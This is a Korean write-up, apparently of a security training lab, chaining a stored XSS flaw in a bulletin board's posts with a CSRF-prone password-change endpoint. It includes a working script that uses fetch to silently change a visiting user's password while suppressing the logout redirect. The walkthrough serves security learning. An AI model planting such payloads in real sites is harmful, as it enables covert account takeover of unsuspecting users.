1 분 소요

CSRF 실습 2번 문제 설

  • CSRF 1번 문제와 비슷하게 계정의 비밀번호를 변경하는 문제이다.
    Pasted image 20230523031645

서버 분석 및 취약점 찾기

비밀번호 변경 요청

  • 오직 POST 요청으로만 비밀번호를 변경할 수 있다.

게시글 ( Stored XSS )

  • 게시글 제목과 게시글 본문에 XSS 취약점이 존재한다.
  • POC 코드 alert(1) 을 통해 확인이 가능하다.
  • 게시글 제목
    Pasted image 20230523125242
    Pasted image 20230523125304
  • 게시글 본문
    Pasted image 20230523125334
    Pasted image 20230523125351
  • script 태그 부분의 내용은 게시글에서 안보인다.
    Pasted image 20230523125414

비밀번호 변경

  • 비밀번호 변경을 한 후 location.href 를 통해 클라이언트 측에서 로그아웃 요청을 서버로 보낸다.
  • 즉 서버에서는 클라이언트 측에서 로그아웃 신호를 보내주기 전 까지는 세션을 만료 시키지 않는다.
location.href='index.php?session=true';

공격 시나리오

XSS(게시판) + CSRF(비밀번호 변경 요청) 취약점 이용하기.

최종 목표

  • 사용자자 공격자가 작성한 게시글에 방문하면 사용자도 모르게 자동으로 비밀번호가 바뀐다. 하지만 사용자는 정상적으로 게시글을 방문한 것 처럼 느낀다. 즉 사용자는 로그아웃 하고 다시 로그인할 때 까지 비밀번호가 변경되었다는 것을 알아차리기 힘들다.

비밀번호 변경 요청 동작 방식 ( 예측 )

  1. POST 요청으로 사용자가 입력한 비밀번호를 전송하여 변경한다.
  2. 사용자는 응답으로 로그아웃을 하라는 링크를 받는다.
  3. 사용자는 서버로 로그아웃 요청을 보내어 로그아웃을 진행한다.
  • 비밀번호 변경 POST 요청
    Pasted image 20230523124958

시나리오

  1. 공격자는 악성 스크립트가 담긴 게시글을 작성한다.
  2. 사용자는 로그인하여 공격자의 게시글을 확인한다.
  3. 사용자가 공격자의 게시글에 방문하면 악성 스크립트가 동작하여 사용자의 비밀번호를 공격자가 설정한 비밀번호로 변경한다.
  4. 비밀번호가 변경 되었어도 사용자가 서버로 로그아웃 요청을 보내지 않아 계속 서비스를 이용할 수 있다.

공격 스크립트

스크립트로 POST 요청 보내기
  • fetch 함수를 이용하였다.
  • fetch를 이용하여 post 요청을 보내면 응답으로 location.href 을 받지만 실행되지 않아 자동으로 로그아웃 되는 것을 방지할 수 있다. ( 세션 만료 방지 )
<script>
fetch("mypage_update.php",{
	method: "POST",
	headers: {
		"Content-Type": "application/x-www-form-urlencoded"
	},
	body: "id=&info=&pw=2222"
});
</script>
최종 공격 스크립트
  • 자동으로 비밀번호 변경 요청을 서버로 보내게 된다.
<script>
fetch("mypage_update.php",{
	method: "POST",
	headers: {
		"Content-Type": "application/x-www-form-urlencoded"
	},
	body: "id=&info=&pw=2222"
});
</script>

공격시작

  1. 공격자는 악성 스크립트가 담긴 게시글 작성한다.
    Pasted image 20230523125941
  2. 게시글을 저장해준다.
    Pasted image 20230523130032
  3. 사용자가 공격자가 작성한 게시글에 방문하게 되면 자동으로 비밀번호가 바뀌게 된다.
    Pasted image 20230523130148

결론

  • Javascript의 fetch 함수를 이용하여 POST 요청을 서버에 보내고 응답을 받아온다.
  • 사용자는 일반적인 게시글을 방문한 것 처럼 느끼게 된다. 하지만 실제로는 게시글 방문과 동시에 비밀번호 요청이 가는 것을 확인할 수 있다.
    Pasted image 20230523130254

참고 사이트

댓글남기기